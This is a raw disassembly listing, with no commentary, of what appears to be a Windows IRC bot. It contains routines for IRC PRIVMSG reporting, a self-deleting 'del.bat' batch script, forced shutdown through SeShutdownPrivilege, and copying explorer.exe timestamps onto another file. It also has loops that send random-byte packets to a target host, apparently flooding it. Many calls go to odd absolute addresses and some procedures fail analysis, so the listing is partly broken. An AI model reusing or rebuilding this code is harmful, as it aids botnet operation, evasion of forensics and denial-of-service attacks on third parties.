		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23


loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx


loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3


loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2670ADCh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_100]


loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D


loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D


loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43AEC8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43AD68
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43AD88
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		call	near ptr 27607B7h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2760000h
		call	dword_43ADEC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43ADA4
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2770401h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 25D0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43ADF4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43ADF4
		push	ebx
		nop
		call	near ptr 2770000h
		push	edi
		nop
		call	near ptr 2651922h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------


loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax


loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 278062Eh
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2780000h
		push	esi
		call	ebx


loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43ACE0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43AE68, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx


loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 279123Ah
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26707CBh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		push	edi
		nop
		call	near ptr 2651922h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_436EDC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2740D6Eh
		nop
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B0365h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 279118Dh


loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2790000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2780B1Eh


loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43ACC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43AE14
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B


loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------


loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43AE14
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8


loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]


loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43AE10
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AD3C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43B0CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43AD24
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43ADD8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_40AFE7


loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044


loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h


loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi


loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax


loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi


loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC


loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43ACBC
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086


loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43AE50
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43AE1C
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h


loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------


loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------


loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]


loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43AD98
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi


loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax


loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi


loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C


loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252


loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi


loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43ADFC
		push	[ebp+var_28]
		nop
		call	near ptr 2630F90h
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43AD98
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43B0E4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi


loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43B0EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi


loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43B0E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi


loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43B0E8
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_436EDC
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		nop
		call	near ptr 2630F90h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
